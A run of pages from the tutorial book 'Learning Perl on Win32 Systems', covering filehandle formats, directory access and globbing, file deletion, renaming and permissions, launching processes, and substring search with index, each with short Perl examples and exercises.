This object-oriented module lets you treat filehandles as though they were objects.[5] All the filehandle-specific built-in punctuation variables have more mnemonic interfaces. See Chapter 2 of Programming Perl, or the perlform documentation, for the complete description of these.

[5] See Chapter 18, CGI Programming, for more explanation about objects.

Previous: 11.6 Changing Defaults for Formats | Learning Perl on Win32 Systems | Next: 11.8 Exercises
11.6 Changing Defaults for Formats | Book Index | 11.8 Exercises


[Chapter 11] 11.8 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that reads a file containing a list of lines composed of a user name, a company name, and an email address separated by colons. A sample line might look like this:

         John Doe:Foo Technologies:jdoe@footech.com

    Print out each field in formatted columns. Use format and write.

  2. Add a top-of-page format to the previous program. (If your file is relatively short, you might need to set the pagelength to something like 10 lines so that you can get multiple instances of the top-of-page.)

  3. Add a sequentially increasing page number to the top-of-page, so that you get page 1, page 2, and so on, in the output.

Previous: 11.7 The FileHandle Module | Learning Perl on Win32 Systems | Next: 12. Directory Access
11.7 The FileHandle Module | Book Index | 12. Directory Access


[Chapter 12] Directory Access

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 11.8 Exercises Chapter 12 Next: 12.2 Globbing

12. Directory Access

Contents:
Moving Around the Directory Tree
Globbing
Directory Handles
Opening and Closing a Directory Handle
Reading a Directory Handle
Exercises

12.1 Moving Around the Directory Tree

By now, you're probably familiar with the notion of the current directory and using the cd command at the command prompt. If you were programming in C, you'd be invoking the chdir () call to change the current directory of a program; this name is also used by Perl.

The chdir function in Perl takes a single argument - an expression evaluating to a directory name to which the current directory will be set. As with most other system calls, chdir returns true if you've successfully changed to the requested directory and false if you couldn't. Here's an example:

chdir("c:/temp") || die "cannot cd to c:/temp ($!)";

The parentheses are optional, so you can also get away with stuff like:

print "where do you want to go? ";
chomp($where = <STDIN>);
if (chdir $where) {
        # we got there
} else {
        # we didn't get there
}

You can't find out where you are without launching a cc command (something like cmd /c cd, or some moral equivalent[1]). We'll learn about launching commands in Chapter 14, Process Management.

[1] Other solutions are using the getcwd function out of the Cwd module or the Win32::GetCwd function.

Every process[2] has its own current directory. When a new process is launched, it inherits its parent's current directory, but that's the end of the connection. If your Perl program changes its directory, the change won't affect the parent program that launched the Perl process. Likewise, the processes that the Perl program creates cannot affect that Perl program's current directory. The current directories for these new processes are inherited from the Perl program's current directory.

[2] A process is the technical jargon for an executing program.

The chdir function without a parameter defaults to taking you to your home directory, in imitation of a typical UNIX shell's cd command. The cd command in Windows NT does not normally work this way. In order to guess your home directory, Perl will check to see whether the HOME or LOGDIR environment variables are defined.

Previous: 11.8 Exercises | Learning Perl on Win32 Systems | Next: 12.2 Globbing
11.8 Exercises | Book Index | 12.2 Globbing


[Chapter 12] 12.2 Globbing

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

12.2 Globbing

The command prompt usually takes a solitary asterisk (*) command-line argument and turns it into a list of all of the filenames in the current directory. So, when you say del *, you'll remove all of the files from the current directory. (Don't try this unless you like restoring the current directory from your backup device.) Similarly, *.c as a command-line argument turns into a list of all filenames in the current directory that end in .c, and c:\temp\backup* is a list of all filenames in the directory c:\temp that begin with backup. (If this information is new to you, you probably want to read some more about using the command line somewhere else before proceeding.)

The expansion of arguments like * or *.c into the list of matching filenames is called globbing. Perl supports globbing through a very simple mechanism - just put the globbing pattern between angle brackets or use the more mnemonically named glob function, like this:

@a = <*.plx>;
@a = glob("*.plx");

In a list context, as demonstrated here, the glob returns a list of all names that match the pattern or an empty list if none match. In a scalar context, the next name that matches is returned, or undef is returned if there are no more matches; this process is very similar to reading from a filehandle. For example, to look at one name at a time:

while (defined($nextname = <c:/scripts/*.plx>)) {
        print "one of the files is $nextname\n";
}

Here the returned filenames begin with c:\scripts\, so that if you want just the last part of the name, you'll have to whittle it down yourself, like so:

while ($nextname = <c:/scripts/*.plx>) {
    $nextname =~ s#.*/##; # remove part before last slash
    print "one of the files is $nextname\n";
}

Multiple patterns are permitted inside the file glob argument; the lists are constructed separately and then concatenated as if they were one big list:

@fred_barney_files = <fred* barney*>;

In other words, the glob returns the same values that an equivalent dir /B command with the same parameters would return.

Although file globbing and regular-expression matching function similarly, the meanings of their various special characters are quite different. Don't confuse the two, or you'll be wondering why <\.c$> doesn't find all of the files that end in .c!

The argument to glob is variable interpolated before expansion. You can use Perl variables to select a wildcard based on a string computed at runtime:

if (-d "c:/tmp") {
        $where = "c:/tmp";
} else {
        $where = "c:/temp";
}
@files = <$where/*>;

Here we set $where to be one of two different directory names, based on whether or not the directory c:\tmp exists.[3] We then get a list of files in the selected directory. Note that the $where variable is expanded, which means the wildcard to be globbed is either c:\tmp\* or c:\temp\*.

[3] If we were really trying to find where the temporary directory was, we'd be checking the ENV hash for the TEMP variable:

my $tmp = $ENV{'TEMP'} || $ENV{'TMP'};

There's one exception to this rule: the pattern <$var> (meaning to use the variable $var as the entire glob expression) must be written as <${var}> for reasons we'd rather not get into at this point.[4]

[4] The construct <$fred> reads a line from the filehandle named by the contents of the scalar variable $fred. Together with some other features not covered in this book, this construct enables you to use indirect filehandles in which the name of a handle is passed around and manipulated as if it were data.

Previous: 12.1 Moving Around the Directory Tree | Learning Perl on Win32 Systems | Next: 12.3 Directory Handles
12.1 Moving Around the Directory Tree | Book Index | 12.3 Directory Handles


[Chapter 12] 12.3 Directory Handles

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

12.3 Directory Handles

UNIX and POSIX programmers are used to reading directories and their contents using a system library function called readdir. As it turns out, this function is what Perl uses to provide directory access. Perl implements readdir (and its companions) using a new type of object called directory handles. A directory handle is a name from yet another namespace, and the cautions and recommendations that apply to filehandles also apply to directory handles (you can't use a reserved word, and uppercase is recommended). The filehandle FRED and the directory handle FRED are unrelated.

The directory handle represents a connection to a particular directory. Rather than reading data (as from a filehandle), you use the directory handle to read a list of filenames within the directory. Directory handles are always opened read only; you cannot use a directory handle to change the name of a file or to delete a file.

Previous: 12.2 Globbing | Learning Perl on Win32 Systems | Next: 12.4 Opening and Closing a Directory Handle
12.2 Globbing | Book Index | 12.4 Opening and Closing a Directory Handle


[Chapter 12] 12.4 Opening and Closing a Directory Handle

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

12.4 Opening and Closing a Directory Handle

The opendir function is used to open a directory handle for reading. You give it the name of a new directory handle and a string value denoting the name of the directory to be opened. The return value from opendir is true if the directory can be opened, false otherwise. Here's an example:

opendir(NT,"c:/winnt") || die "Cannot opendir c:/winnt: $!";

Normally, at this point, we'd go playing with the directory handle NT, but it's probably nice to know how to close the directory handle first. This is done with closedir, in a similar manner to using close, like so:

closedir(NT);

Like close, closedir is often unnecessary, as all directory handles are automatically closed before they're reopened or at the end of the program.

Previous: 12.3 Directory Handles | Learning Perl on Win32 Systems | Next: 12.5 Reading a Directory Handle
12.3 Directory Handles | Book Index | 12.5 Reading a Directory Handle


[Chapter 12] 12.5 Reading a Directory Handle

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

12.5 Reading a Directory Handle

After we have a directory handle open, we can read the list of names with readdir, which takes a single parameter: the directory handle. Each invocation of readdir in a scalar context returns the next filename (just the basename - you'll never get any slashes or backslashes in the return value) in a seemingly random order.[5] If no more names exist, readdir returns undef. Invoking readdir in a list context returns all of the remaining names as a list with one name per element. Here's an example of listing all of the names from your Windows directory:

[5] Specifically, this order is the one in which the filenames are kept in the directory - the same unordered order you get back from the dir command from the command prompt.

$windir = $ENV{"WINDIR"};
opendir(NT, $windir) || die "no $windir?: $!";
while ($name = readdir(NT)) { # scalar context, one per loop
        print "$name\n"; # prints ., .., system.ini, and so on
}
closedir(NT);

And here's a way of getting them all in alphabetical order with the assistance of sort:

$windir = $ENV{"WINDIR"};
opendir(NT, $windir) || die "no $windir?: $!";
foreach $name (sort readdir(NT)) { # list context, sorted
        print "$name\n"; # prints ., .., system.ini, and so on
}
closedir(NT);

The names include files that begin with a dot. This method is unlike globbing with <*>, which does not return names that begin with a dot. This method is a relic from Perl's UNIX heritage, where the standard filename expansion normally does not include any files that begin with a dot.

In the current version of Perl for Win32, and the current version of the standard distribution, opendir fails on UNC paths. You can work around this by mapping a drive to the UNC share before using directory handles, and then using the drive letter as the path instead of the UNC path. You can do this with the Win32::NetResource module extension (see the AddConnection function) or with the Windows NT net use command. For more information on modules and the Win32 extensions, see Appendix B, Libraries and Modules.

Previous: 12.4 Opening and Closing a Directory Handle | Learning Perl on Win32 Systems | Next: 12.6 Exercises
12.4 Opening and Closing a Directory Handle | Book Index | 12.6 Exercises


[Chapter 12] 12.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

12.6 Exercises

Answers are in Appendix A, Exercise Answers.

  1. Write a program that changes the directory to a location specified as input, and then lists the names of the files found there in alphabetical order. (Don't show a list if the directory change doesn't succeed: merely warn the user.)

  2. Modify the program to include all files, not just the ones that don't begin with dot. Try to do so with both a glob and a directory handle.

Previous: 12.5 Reading a Directory Handle | Learning Perl on Win32 Systems | Next: 13. File and Directory Manipulation
12.5 Reading a Directory Handle | Book Index | 13. File and Directory Manipulation


[Chapter 13] File and Directory Manipulation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 12.6 Exercises Chapter 13 Next: 13.2 Renaming a File

13. File and Directory Manipulation

Contents:
Removing a File
Renaming a File
Making and Removing Directories
Modifying Permissions
Modifying Timestamps
Exercises

This chapter shows you how to manipulate the files themselves, not merely the data contained within. Perl uses UNIX semantics for providing access to files and directories. Some of these names will be familiar to Win32 programmers who have used the C run-time library, while others may not. Perl provides a rich set of file and directory manipulation routines, and not all of these are implemented on Win32 platforms, but we'll cover the most useful ones here.[1]

[1] In particular, we've omitted discussion of the link() and symlink() functions, used to create hard and symbolic links under Unix, because these functions are unimplemented in the Windows NT filesystems and thus in Perl for Win32, as well.

13.1 Removing a File

Earlier, you learned how to create a file from within Perl by opening it for output with a filehandle. Now, we'll get dangerous and learn how to remove a file (very appropriate for Chapter 13, File and Directory Manipulation, don't you think?).

The Perl unlink function (named for the POSIX system call) deletes a file. This is exactly what the command prompt del command does. Here's how to remove a file called fred and then remove a file specified during program execution:

unlink ("fred"); # say goodbye to fred
print "what file do you want to delete? ";
chomp($name = <STDIN>);
unlink ($name);

The unlink function can take a list of names to be unlinked as well:

unlink ("spottedowl","meadowlark"); # kill two birds
unlink <*.bak>; # just like "del *.bak" in the command prompt

The glob is evaluated in a list context, creating a list of filenames that match the pattern. This list is exactly what we need to feed unlink.

The return value of unlink is the number of files successfully deleted. If only one argument exists, and it is deleted, the result is one; otherwise, the result is zero. If there are three filenames but only two could be deleted, the result is two. You can't tell which two, so if you need to figure out which deletion failed, you must do them one at a time. Here's how to delete all of the backup files (ending in .bak) while reporting an error for any file that cannot be deleted:

foreach $file (<*.bak>) { # step through a list of .bak files
        unlink($file) || warn "having trouble deleting $file: $!";
}

If unlink returns one (meaning the one file specified was indeed deleted), the true result skips the warn function. If the filename cannot be deleted, the zero result is false, so the warn is executed. Once again, this can be read abstractly as "unlink this file or tell me about it."

If the unlink function is given no arguments, the $_ variable is once again used as a default. Thus, we could have written the preceding loop as:

foreach (<*.bak>) { # step through a list of .bak files
        unlink || warn "having trouble deleting $_\: $!";
}

Previous: 12.6 Exercises | Learning Perl on Win32 Systems | Next: 13.2 Renaming a File
12.6 Exercises | Book Index | 13.2 Renaming a File


[Chapter 13] 13.2 Renaming a File

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

13.2 Renaming a File

In the command shell, you change the name of a file with the rename command. And so it is with Perl, too, where this operation is denoted with rename($old,$new). Here's how to change the file named fred into barney:

rename("fred","barney") || die "Can't rename fred to barney: $!";

Like most other functions, the rename function returns a true value if successful, so test this result to see whether the rename has indeed worked.

The rename function is perhaps more like the command-prompt move command than the command-prompt rename command. Perl's rename can move a file into a different directory, as can move.

The move command performs a little behind-the-scenes magic to create a full pathname when you say move file some-directory. However, the rename function cannot. The equivalent Perl operation is:

rename("file","some-directory/file");

Note that in Perl we had to say the name of the file within the new directory explicitly. If you try to rename a file to a filename that already exists, rename will overwrite the existing file; this result is different than that of the Windows NT rename command, which will fail if the file already exists.

Previous: 13.1 Removing a File | Learning Perl on Win32 Systems | Next: 13.3 Making and Removing Directories
13.1 Removing a File | Book Index | 13.3 Making and Removing Directories


[Chapter 13] 13.3 Making and Removing Directories

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

13.3 Making and Removing Directories

You probably couldn't have made it this far without knowing about the mkdir or md command, which makes directories that hold other filenames and other directories. Perl's equivalent is the mkdir function, which takes a name for a new directory and a mode that will affect the permissions of the created directory. The mode is specified as a number interpreted in internal permissions format. For now, just say 0777 for the mode and everything will work. Here's an example of how to create a directory named gravelpit:

mkdir("gravelpit",0777) || die "cannot mkdir gravelpit: $!";

The command-prompt rmdir command removes empty directories - you'll find a Perl equivalent with the same name (rmdir). Here's how to make Fred unemployed:

rmdir("gravelpit") || die "cannot rmdir gravelpit: $!";

Previous: 13.2 Renaming a File | Learning Perl on Win32 Systems | Next: 13.4 Modifying Permissions
13.2 Renaming a File | Book Index | 13.4 Modifying Permissions


[Chapter 13] 13.4 Modifying Permissions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

13.4 Modifying Permissions

The permissions on a file or directory define who (in broad categories) can do what (more or less) to that file or directory. Under UNIX, the typical way to change permissions on a file is with the chmod command. As a Windows user, you may be more used to the attrib command. Perl changes permissions with the chmod function. This operator takes an octal numeric mode and a list of filenames, and attempts to alter the permissions of all the filenames to the indicated mode. To make the files fred and barney with both read/write attributes, for example, do something like this:

chmod(0666,"fred","barney");

In short, the UNIX (and Perl) concept of file permissions consists of a bit for read, write, and execute rights for the user, the user's group, and everyone else. These bits are combined to create the mode. Because Win32 systems have a significantly different concept of permissions, you don't need to worry about all of the different possible values for the mode. Table 13.1 presents a couple of key values.

Table 13.1: Key Values for File Permissions
Mode | Meaning
0666 | Read/Write
0444 | Read only

Win32 systems determine whether or not a file is executable based on the file extension, so we're not going to worry about the execute bits. Furthermore, even though some Windows NT filesystems support advanced user/group rights, the current Perl implementation doesn't support access to these rights via chmod.

The return value of chmod is the number of files successfully adjusted (even if the adjustment does nothing); so chmod works like unlink, and you should treat it as such with regard to error checking. Here's how to change the permissions of fred and barney while checking the errors for each:

foreach $file ("fred","barney") {
        unless chmod (0666,$file) {
            warn "hmm... couldn't chmod $file.$!";
        }
}

The Win32::File[2] extension module provides a way to access and set traditional DOS file attributes like the archive, system, and hidden attributes. This package consists of just two methods: GetAttributes and SetAttributes. Table 13.2 lists the attributes and their significations.

[2] See Appendix B, Libraries and Modules, for an explanation of the Win32 extensions.

Table 13.2: DOS File Attributes and Their Significations
Attribute | Explanation
ARCHIVE | The file has been modified since it was last archived.
DIRECTORY | The file is a directory.
HIDDEN | The file is hidden (that is, it won't normally appear in directory listings).
NORMAL | The file is a normal (read/write) file.
READONLY | The file is read-only.
SYSTEM | The file is a system file (among other things, it can't be deleted without first changing the attributes).

To combine attributes, use the bitwise or operator |. Here's an example of how to make a file read-only, without changing its other attributes:

use Win32::File;
Win32::File::GetAttributes("foo.txt", $attrib) || die $!;
Win32::File::SetAttributes("foo.txt", $attrib | READONLY) ||
        die $!;

Although we won't get to references until Chapter 18, CGI Programming, the $attrib is just that. For now, just know that upon returning from GetAttributes, $attrib will contain an attribute mask consisting of some combination of the values outlined above.

To set user permissions on NTFS filesystems, use either the Win32::FileSecurity extension module, or the Windows NT cacls.exe program, which provides a command-line interface to file permissions.

Previous: 13.3 Making and Removing Directories | Learning Perl on Win32 Systems | Next: 13.5 Modifying Timestamps
13.3 Making and Removing Directories | Book Index | 13.5 Modifying Timestamps


[Chapter 13] 13.5 Modifying Timestamps

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

13.5 Modifying Timestamps

Associated with each file is a set of three timestamps. These timestamps were discussed briefly when we talked about getting information about a file: the last access time, the last modification time, and the last change time. The first two timestamps can be set to arbitrary values by the utime function (which corresponds directly to the same-named C library call). Setting these two values automatically sets the third value to the current time, so there's no point in having a way to set the third value.

The values are measured in internal time, namely an integer number of seconds past midnight GMT, January 1, 1970 - a figure that had reached eight-hundred-million-something when this book was being written. (Internally, it's represented as a 32-bit unsigned number, and if we haven't all upgraded to 64-bit machines (or beyond), will overflow sometime well into the next century. We have much more to worry about in the year 2000[3]).

[3] Perl's localtime and gmtime functions work just like C's do: they return the year with 1,900 subtracted. In 2003, localtime will give the year as 103.

The utime function works like chmod and unlink. It takes a list of filenames and returns the number of files affected. Here's how to make the fred and barney files look as though they were modified sometime in the recent past:

$atime = $mtime = 700_000_000; # a while ago
utime($atime,$mtime,"fred","barney")

No "reasonableness" value exists for the timestamps; you can make a file look arbitrarily old or as though it were modified at some time in the distant future (useful if you are writing science fiction stories). For example, using the time function (which returns the current time as a timestamp), here's how to make the file max_headroom look like it was updated 20 minutes into the future:

$when = time()+ 20*60; # 20 minutes from now
utime($when,$when,"max_headroom");

Previous: 13.4 Modifying Permissions | Learning Perl on Win32 Systems | Next: 13.6 Exercises
13.4 Modifying Permissions | Book Index | 13.6 Exercises


[Chapter 13] 13.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

13.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that works like del, deleting the files given as command-line arguments when the program is invoked. (You don't need to handle any options of del.)

    Be careful to test this program in a mostly empty directory so that you don't accidentally delete useful stuff! Remember that the command-line arguments are available in the @ARGV array when the program starts.

  2. Write a program that works like rename, renaming the first command-line argument to the second command-line argument. (You don't need to handle any options of rename, or more than two arguments.) You may wish to consider how to handle the rename when the destination is a directory.

Previous: 13.5 Modifying Timestamps | Learning Perl on Win32 Systems | Next: 14. Process Management
13.5 Modifying Timestamps | Book Index | 14. Process Management


[Chapter 14] Process Management

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 13.6 Exercises Chapter 14 Next: 14.2 Using Backquotes

14. Process Management

Contents:
Using system and exec
Using Backquotes
Using Processes as Filehandles
Summary of Process Operations
Win32::Process
Exercises

14.1 Using system and exec

Like the command shell, a Perl program can launch new processes, and like most other operations, has more than one way to do so.

The simplest way to launch a new process is to use the system function. In its simplest form, this function hands a single string to a brand new command shell to be executed as a command. When the command is finished, the system function returns the exit value of the command (typically 0 if everything went OK). Here's an example of a Perl program executing a dir command using a shell:

system("dir");

We're ignoring the return value here, but the dir command is not likely to fail anyway.

Where does the command's output go? In fact, where does the input come from, if it was a command that wanted input? These are good questions, and the answers to these questions are most of what distinguishes the various forms of process creation.

For the system function, the three standard files (standard input, standard output, and standard error) are inherited from the Perl process. So, for the dir command in the previous example, the output goes wherever the print STDOUT output goes - probably to the invoker's command prompt. Because you are firing off another command shell, you can change the location of the standard output using the normal I/O redirections. For example, to put the output of the directory command into a file named this_dir, something like this will work just fine:

system("dir >this_dir") && die "cannot create this_dir";

This time, we not only send the output of the dir command into a file with a redirection to the new command shell, but also check the return status. If the return status is true (nonzero), something went wrong with the shell command, and the die function will do its deed. This is backwards from normal Perl operator convention - a nonzero return value from the system operator generally indicates that something went wrong. You can feed anything to the system function that you can feed to your command shell.

Here's an example of generating a dir command and sending the output to a filename specified by a Perl variable:

$where = "dir_out.".++$i; # get a new filename
system "dir >$where";

The double-quoted string is variable interpolated, so Perl replaces $where with its value.

In addition to the standard filehandles, the current directory and the environment variables are inherited by the child. These variables are typically created by the command shell set command and accessed or altered using the %KEYNAME% construct. Environment variables are used by many utilities, including the command shell itself, to alter or control the way that utility operates.

Perl gives you a way to examine and alter current environment variables through a special hash called %ENV (uppercase). Each key of this hash corresponds to the name of an environment variable, with the corresponding value being, well, the corresponding value. Examining this hash shows you the environment handed to Perl by the parent process - altering the array affects the environment used by Perl and by its children processes, but not that of its parents.

For example, here's a simple program that prints out all of your environment variables:

foreach $key (sort keys %ENV) {
        print "$key=$ENV{$key}\n";
}

Note that the equal sign here is not an assigment, but simply a text character that the print function is using to say stuff like USERNAME=eriko or COMSPEC=c:\nt\system32\cmd.exe.

Here's a program snippet that alters the value of PATH to make sure that the nmake command run by system is looked for only in the correct places:

$oldPATH = $ENV{"PATH"};            # save previous path
$ENV{"PATH"} = "c:\\msdev\\bin;c:\\winnt;c:\\winnt\\system32";
                                    # force known path
system("nmake myproj.mak >output"); # run command
$ENV{"PATH"} = $oldPATH;            # restore previous path

That's a lot of typing. It'd be faster just to set a local value for this hash element.

Despite its other shortcomings, the local operator can do one thing that my cannot: it can give just one element of an array or a hash a temporary value. For example:

{
    local $ENV{"PATH"} =
    "c:\\msdev\\bin;c:\\winnt;c:\\winnt\\system32";
    system("nmake fred bedrock >output");
}

The system function can also take a list of arguments rather than a single argument. In this case, rather than handing the list of arguments off to a command shell, Perl treats the first argument as the command to run (located according to the PATH if necessary) and the remaining arguments as arguments to the command without normal shell interpretation. In other words, you don't need to quote whitespace or worry about arguments that contain angle brackets because those are all merely characters to hand to the program. So, the following two commands are equivalent:

system "nmake 'fred flintstone.mak' buffaloes";   # using command shell
system "nmake","fred flintstone.mak","buffaloes"; # using list

Giving system a list rather than giving it a simple string saves one command shell process as well, so do this when you can. (In fact, when the one-argument form of system is simple enough, Perl itself optimizes away the shell invocation entirely, calling the resulting program directly as if you had used the multiple-argument invocation.)

Here's another example of equivalent forms:

@cfiles = ("fred.c","barney.c");           # what to compile
@options = ("-DHARD","-DGRANITE");         # options
system "cc -o slate @options @cfiles";     # using shell
system "cc","-o","slate",@options,@cfiles; # avoiding shell

Previous: 13.6 Exercises | Learning Perl on Win32 Systems | Next: 14.2 Using Backquotes
13.6 Exercises | Book Index | 14.2 Using Backquotes


[Chapter 14] 14.2 Using Backquotes

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

14.2 Using Backquotes

Another way to launch a process is to put a shell command line between backquotes. This fires off a command and waits for its completion, capturing the standard output as it goes along:

@files = `dir`; # gets dir output

The value of @files is the text from the dir command, so it might look something like:

 Volume in drive D has no label.
 Volume Serial Number is 9C5D-713A
 Directory of D:\ora\eg
05/19/97  11:54p        <DIR>          .
05/19/97  11:54p        <DIR>          ..
04/12/97  11:12a                    23 bell.pl
04/12/97  10:56a                    73 console.pl

The standard input and standard error of the command within backquotes are inherited from the Perl process.[1] In other words, the value of the backquoted string is normally just the standard output of the commands within the backquotes.

[1] Actually, the situation is a bit more complicated. See the question in Section 8 of the Perl FAQ on "How can I capture STDERR from an external command?"

Previous: 14.1 Using system and exec | Learning Perl on Win32 Systems | Next: 14.3 Using Processes as Filehandles
14.1 Using system and exec | Book Index | 14.3 Using Processes as Filehandles


[Chapter 14] 14.3 Using Processes as Filehandles

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

14.3 Using Processes as Filehandles

Yet another way to launch a process is to create a process that looks like a filehandle (similar to the popen C library routine, if you're familiar with that). We can create a process filehandle that either captures the output from or provides input to the process.[2] Here's an example of creating a filehandle out of a netstat process. Because the process is generating output that we want to read, we make a filehandle that is open for reading, like so:

[2] But not both at once. See Chapter 6 of Programming Perl for examples of bidirectional communication.

open(NETPROC, "netstat|"); # open netstat for reading

Note the vertical bar on the right side of netstat. That bar tells Perl that this open is not about a filename, but rather, is about a command to be started. Because the bar is on the right of the command, the filehandle is opened for reading, and the standard output of netstat is going to be captured. (The standard input and standard error remain shared with the Perl process.) To the rest of the program, the NETPROC handle is merely a filehandle that is open for reading, and all normal file I/O operators apply. Here's a way to read data from the netstat command into an array:

@netstat = <NETPROC>;

Similarly, to open a command that expects input, we can open a process filehandle for writing by putting the vertical bar on the left of the command, like so:

open(FIND,"|find $pattern");
print FIND @filedata;
close(FIND);

In this case, after opening FIND, we wrote some data to it and then closed it. Opening a process with a process filehandle allows the command to execute in parallel with the Perl program. Saying close on the filehandle forces the Perl program to wait until the process exits. If you don't close the filehandle, the process can continue to run even beyond the execution of the Perl program.

You don't have to open just one command at a time. You can open an entire pipeline. For example, the following line starts up a dir process, which pipes its output into a sort process, which finally sends its output along to the DIRPR filehandle:

open(DIRPR, "dir | sort |");

The exit function causes an immediate exit from the current Perl process. You'd use this to abort a Perl program from somewhere in the middle. The exit function takes an optional parameter, which serves as the numeric exit value that can be noticed by the parent process. The default is to exit with a zero value, indicating that everything went OK.

Previous: 14.2 Using Backquotes | Learning Perl on Win32 Systems | Next: 14.4 Summary of Process Operations
14.2 Using Backquotes | Book Index | 14.4 Summary of Process Operations


[Chapter 14] 14.4 Summary of Process Operations

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

14.4 Summary of Process Operations

Table 14.1 summarizes the operations that you have for launching a process.

Table 14.1: Summary of Subprocess Operations

Operation

Standard Input

Standard Output

Standard Error

Waited for?

system()

Inherited from program

Inherited from program

Inherited from program

Yes

Backquoted string

Inherited from program

Captured as string value

Inherited from program

Yes

open() command as filehandle for output

Connected to filehandle

Inherited from program

Inherited from program

Only at time of close()

open() command as filehandle for input

Inherited from program

Connected to filehandle

Inherited from program

Only at time of close()

fork, exec, wait, waitpid

Not implemented

Not implemented

Not implemented

Not implemented

The simplest way to create a process is with the system function. Standard input, output, and error are unaffected (they're inherited from the Perl process). A backquoted string creates a process, capturing the standard output of the process as a string value for the Perl program. Standard input and standard error are unaffected. Both methods require that the process finish before any more code is executed.

A simple way to get an asynchronous process (one that allows the Perl program to continue before the process is complete) is to open a command as a filehandle, creating a pipe for the command's standard input or standard output. A command opened as a filehandle for reading inherits the standard input and standard error from the Perl program; a command opened as a filehandle for writing inherits the standard output and standard error from the Perl program.

Previous: 14.3 Using Processes as Filehandles | Learning Perl on Win32 Systems | Next: 14.5 Win32::Process
14.3 Using Processes as Filehandles | Book Index | 14.5 Win32::Process


[Chapter 14] 14.5 Win32::Process

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

14.5 Win32::Process

The most flexible way of starting a process on Windows NT is to use the Win32::Process module.[3] Using this module, you can select whether or not you want to wait for the child process to run to completion, configure priorities, and suspend or resume processes.

[3] Of course, this method won't work at all on non-Windows platforms.

Even though we haven't covered all of the relevant concepts, we are going to run through a Win32::Process example.

As shown, the Win32::Process module contains a method (subroutine) called Create that does all the work of creating a process:

use Win32::Process;
Win32::Process::Create($Process,
        "c:\\nt\\system32\\notepad.exe",
        "notepad",
        0,
        DETACHED_PROCESS,
        ".") || die "Create: $!";

This code creates an asychronous instance of Notepad. Let's take a look at the parameters. The first parameter $Process is a scalar reference that receives the process object if the call succeeds. We'll discuss references in Chapter 18, CGI Programming, but for now, you can just think of it as a parameter that receives output.

The second argument is a fully qualified (system-dependent) path to the executable. The third argument is the command line passed to the program. In this case, we're just invoking Notepad without any documents or options. The next argument specifies whether or not the new process inherits handles from the parent process (the Perl program). A value of one indicates that the process inherits any inheritable open handle in the parent process. Inheritable handles include I/O handles, socket handles, synchronization handles, and so on. Unless you really know what you're doing here, you're better off specifying this value as zero.

The next argument specifies various create options for the new process. The flag that we've passed is DETACHED_PROCESS, which indicates that the new process does not have access to the console of the calling process (our Perl program). Other flags that you may be interested in include CREATE_SUSPENDED, which creates a process that is initially suspended, and CREATE_SEPARATE_WOW_VDM, which runs a 16-bit process in its own Virtual DOS Machine (VDM). For more information on the various options, see the win32mod documentation for Win32::Process.

Previous: 14.4 Summary of Process Operations | Learning Perl on Win32 Systems | Next: 14.6 Exercises
14.4 Summary of Process Operations | Book Index | 14.6 Exercises


[Chapter 14] 14.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

14.6 Exercises

  1. Write a program that takes two directory arguments and then uses the xcopy command to copy the first directory (and all related subdirectories) to the second directory.

  2. Write a program that uses the Windows NT net view command to list all hosts in your domain or workgroup, in sorted order.

Previous: 14.5 Win32::Process | Learning Perl on Win32 Systems | Next: 15. Other Data Transformation
14.5 Win32::Process | Book Index | 15. Other Data Transformation


[Chapter 15] Other Data Transformation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 14.6 Exercises Chapter 15 Next: 15.2 Extracting and Replacing a Substring

15. Other Data Transformation

Contents:
Finding a Substring
Extracting and Replacing a Substring
Formatting Data with sprintf( )
Advanced Sorting
Transliteration
Exercises

15.1 Finding a Substring

Finding a substring depends on where you have lost it. If you happen to have lost it within a bigger string, you're in luck, because index can help you out. Here's how index looks:

$x = index($string,$substring);

Perl locates the first occurrence of substring within string, returning an integer location of the first character. The index value returned is zero-based; if the substring is found at the beginning of the string, you get a zero. If it's one character later, you get a one, and so on. If the substring can't be found in string, you get negative one.

Take a look at these:

$where   = index("hello","e");                 # $where gets 1
$person  = "barney";
$where   = index("fred barney",$person);       # $where gets 5
@rockers = ("fred","barney");
$where   = index(join(" ",@rockers),$person);  # same thing

Notice that both the string being searched and the string being searched for can each be a literal string, a scalar variable containing a string, or even an expression that has a string value. Here are some more examples:

$which = index("a very long string","long"); # $which gets 7
$which = index("a very long string","lame"); # $which gets -1

If the string contains the substring at more than one location, the index function returns the leftmost location. To find later locations, you can give index a third parameter. This parameter is the minimum value that will be returned by index, allowing you to look for the next occurrence of the substring that follows a selected position. This index looks like this:

$x = index($bigstring,$littlestring,$skip);

Here are some examples of how this third parameter works:

$where = index("hello world","l");   # returns 2 (first l)
$where = index("hello world","l",0); # same thing
$where = index("hello world","l",1); # still same
$where = index("hello world","l",3); # now returns 3
# (3 is the first place greater than or equal to 3)
$where = index("hello world","o",5); # returns 7 (second o)
$where = index("hello world","o",8); # returns -1 (none after 8)

